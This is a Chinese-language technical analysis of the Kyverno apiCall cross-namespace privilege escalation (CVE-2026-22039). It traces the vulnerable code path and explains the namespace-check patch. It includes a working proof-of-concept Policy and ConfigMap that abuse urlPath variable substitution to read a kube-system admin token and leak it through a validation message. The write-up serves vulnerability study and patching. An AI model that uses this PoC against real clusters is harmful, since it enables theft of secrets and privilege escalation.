CVE-2026-22039:Kyverno 跨命名空间权限提升精解
漏洞描述Kyverno 是一个为云原生平台工程团队设计的策略引擎。1.16.3 和 1.15.3 之前的版本在命名空格的 Kyverno Policy apiCall 中设有关键授权边界绕过。解析后的“urlPath”通过Kyverno准入控制器ServiceAccount执行,且不强制请求仅限于策略命名空间。因此,任何有权限创建命名空间策略的认证用户都可以让 Kyverno 使用其准入控制器身份
漏洞描述
Kyverno 是一个为云原生平台工程团队设计的策略引擎。1.16.3 和 1.15.3 之前的版本在命名空格的 Kyverno Policy apiCall 中设有关键授权边界绕过。解析后的“urlPath”通过Kyverno准入控制器ServiceAccount执行,且不强制请求仅限于策略命名空间。因此,任何有权限创建命名空间策略的认证用户都可以让 Kyverno 使用其准入控制器身份执行 Kubernetes API 请求,针对该 ServiceAccount RBAC 允许的任何 API 路径。这打破了命名空间隔离,允许跨命名空间读取(例如,ConfigMaps 以及允许的 Secret),并通过上下文变量替换控制 urlPath,实现集群范围或跨命名空间写入(例如创建 ClusterPolicy)。1.16.3 和 1.15.3 版本包含该漏洞的补丁。

漏洞影响
评分:9.9
影响:<1.16.3, <1.15.3
漏洞分析
攻击构造
# 1. 创建恶意Policy
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: malicious-policy
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: exploit-apiCall
match:
resources:
kinds: [ConfigMap]
context:
- name: leakedSecret
apiCall:
# 利用变量注入
urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/secrets/{{request.object.metadata.annotations.target_name}}"
method: GET
jmesPath: "data.token"
validate:
message: "Stolen secret: {{leakedSecret}}"
deny: {}
# 2. 触发策略执行的ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-exploit
namespace: default
annotations:
target_ns: "kube-system"
target_name: "admin-token"
data:
dummy: "value"后端调用链
攻击者创建恶意Policy——>攻击者创建触发ConfigMap——>Kubernetes API Server调用Kyverno webhook
pkg/webhooks/server.go

registerWebhookHandlersWithAll(
mux,
"VALIDATE",
config.ValidatingWebhookServicePath,
resourceHandlers.Validation,
func(handler handlers.AdmissionHandler) handlers.HttpHandler {
return handler.
WithFilter(configuration).
WithProtection(toggle.FromContext(ctx).ProtectManagedResources()).
WithDump(debugModeOpts.DumpPayload).
WithTopLevelGVK(discovery).
WithRoles(rbLister, crbLister).
WithMetrics(resourceLogger, metricsConfig.Config(), metrics.WebhookValidating).
WithAdmission(resourceLogger.WithName("validate"))
},
)注册路由走到ValidationHandler
pkg/webhooks/resource/validation.go

policyContext, err := v.buildPolicyContextFromAdmissionRequest(logger, request, policies)创建策略上下文
for _, policy := range policies {
tracing.ChildSpan(
ctx,
"pkg/webhooks/resource/validate",
fmt.Sprintf("POLICY %s/%s", policy.GetNamespace(), policy.GetName()),
func(ctx context.Context, span trace.Span) {
policyContext := policyContext.WithPolicy(policy)
if policy.GetSpec().GetFailurePolicy(ctx) == kyvernov1.Fail {
failurePolicy = kyvernov1.Fail
}对每个策略执行验证,这里是漏洞的触发入口
engineResponse := v.engine.Validate(ctx, policyContext)调用Engine.Validate()
if blocked {
logger.V(4).Info("admission request blocked")
return false, webhookutils.GetBlockedMessages(engineResponses), nil, engineResponses
}构造拒绝消息,泄露的敏感信息就在这里被返回
pkg/engine/engine.go

if internal.MatchPolicyContext(logger, e.client, policyContext, e.configuration) {
policyResponse := e.validate(ctx, logger, policyContext)
response = response.WithPolicyResponse(policyResponse)
}调用内部validate方法

跳到invokeRuleHandler

contextLoader := e.ContextLoader(policyContext.Policy(), rule)
if err := contextLoader(ctx, rule.Context, policyContext.JSONContext()); err != nil {
if _, ok := err.(gojmespath.NotFoundError); ok {
logger.V(3).Info("failed to load context", "reason", err.Error())
} else {
logger.Error(err, "failed to load context")
}
return resource, handlers.WithError(rule, ruleType, "failed to load context", err)
}这里会从e.ContextLoader加载规则上下文
pkg/engine/factories/contextloaderfactory.go

if entry.ConfigMap != nil {
if l.cmResolver != nil {
ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext)
return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
} else {
l.logger.V(3).Info("disabled loading of ConfigMap context entry", "name", entry.Name)
return nil, nil
}
} else if entry.APICall != nil {
if client != nil {
ldr := loaders.NewAPILoader(ctx, l.logger, entry, jsonContext, jp, client, l.apiCallConfig)
return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
} else {
l.logger.V(3).Info("disabled loading of APICall context entry", "name", entry.Name)
return nil, nil
}
} else if entry.GlobalReference != nil {
if gctx != nil {
ldr := loaders.NewGCTXLoader(ctx, l.logger, entry, jsonContext, jp, gctx)
return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
} else {
l.logger.V(3).Info("disabled loading of GlobalContext context entry", "name", entry.Name)
return nil, nil
}
} else if entry.ImageRegistry != nil {
if rclientFactory != nil {
ldr := loaders.NewImageDataLoader(ctx, l.logger, entry, jsonContext, jp, rclientFactory)
return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
} else {
l.logger.V(3).Info("disabled loading of ImageRegistry context entry", "name", entry.Name)
return nil, nil
}
} else if entry.Variable != nil {
ldr := loaders.NewVariableLoader(l.logger, entry, jsonContext, jp)
return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
}
return nil, fmt.Errorf("missing ConfigMap|APICall|ImageRegistry|Variable in context entry %s", entry.Name)
}处理APICall类型的Context条目,在创建APILoader时policyNamespace参数
pkg/engine/context/loaders/apicall.go

func NewAPILoader(
ctx context.Context,
logger logr.Logger,
entry kyvernov1.ContextEntry,
enginectx enginecontext.Interface,
jp jmespath.Interface,
client engineapi.RawClient,
apiCallConfig apicall.APICallConfiguration,缺少policyNamespace参数
return &apiLoader{
ctx: ctx,
logger: logger,
entry: entry,
enginectx: enginectx,
jp: jp,
client: client,
config: apiCallConfig,缺少policyNamespace字段
func (a *apiLoader) LoadData() error {
executor, err := apicall.New(a.logger, a.jp, a.entry, a.enginectx, a.client, a.config)
if err != nil {
return fmt.Errorf("failed to initiaize APICal: %w", err)
}
if a.data == nil {
var err error
if a.data, err = executor.Fetch(a.ctx); err != nil {
return fmt.Errorf("failed to fetch data for APICall: %w", err)
}
}
if _, err := executor.Store(a.data); err != nil {
return fmt.Errorf("failed to store data for APICall: %w", err)
}
return nil
}这里在创建apiCall执行器时缺少policyNamespace参数
在执行Fetch时触发漏洞
最后存储数据到上下文
pkg/engine/apicall/apiCall.go

type apiCall struct {
logger logr.Logger
jp jmespath.Interface
entry kyvernov1.ContextEntry
jsonCtx enginecontext.Interface
executor Executor缺少policyNamespace字段
func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {
call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)
if err != nil {
return nil, fmt.Errorf("failed to substitute variables in context entry %s %s: %v", a.entry.Name, a.entry.APICall.URLPath, err)
}
data, err := a.Execute(ctx, &call.APICall)
if err != nil {
if data == nil && a.entry.APICall.Default != nil {
data = a.entry.APICall.Default.Raw
a.logger.V(4).Info("failed to substitute variable data for APICall, using default value", "default", data, "name", a.entry.Name, "URLPath", a.entry.APICall.URLPath, "error", err)
return data, nil
}
return nil, err
}
return data, nil
}该处为变量替换,受攻击者所控制的点
/api/v1/namespaces/{{request.object.metadata.annotations.targetNs}}/secrets/{{request.object.metadata.annotations.targetName}}攻击者代码被替换为
/api/v1/namespaces/kube-system/secrets/admin-token最后在这里直接执行,且无命名空间验证
data, err := a.Execute(ctx, &call.APICall)pkg/engine/apicall/executor.go

Executor执行API调用
func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, data []kyvernov1.RequestData) ([]byte, error) {
requestData, err := a.buildRequestData(data)
if err != nil {
return nil, err
}
jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
if err != nil {
return nil, fmt.Errorf("failed to %v resource with raw url\n: %s: %v", method, path, err)
}
a.logger.V(4).Info("executed APICall", "name", a.name, "path", path, "method", method, "len", len(jsonData))
return jsonData, nil
}这里使用Kyverno的ServiceAccount身份执行请求,将攻击者的SA权限提升为 Kyverno SA
pkg/engine/api/client.go

RawClient接口定义
漏洞修复

该漏洞修复通过在Kyverno策略引擎的apiCall功能中添加命名空间边界检查实现。
关键修复包括:
在contextloaderfactory中传递策略命名空间; APICall实例接收并存储policyNamespace参数;Fetch()方法中新增路径验证逻辑,使用正则表达式匹配API路径中的命名空间段,确保命名空间策略只能访问相同命名空间的资源,阻止跨命名空间权限提升。
参考
https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e
https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2
Kyverno <1.16.3/<1.15.3 存在apiCall命名空间边界绕过,攻击者可利用变量替换执行跨命名空间Kubernetes API操作。
由 AI 根据全文自动生成,仅供参考,以原文为准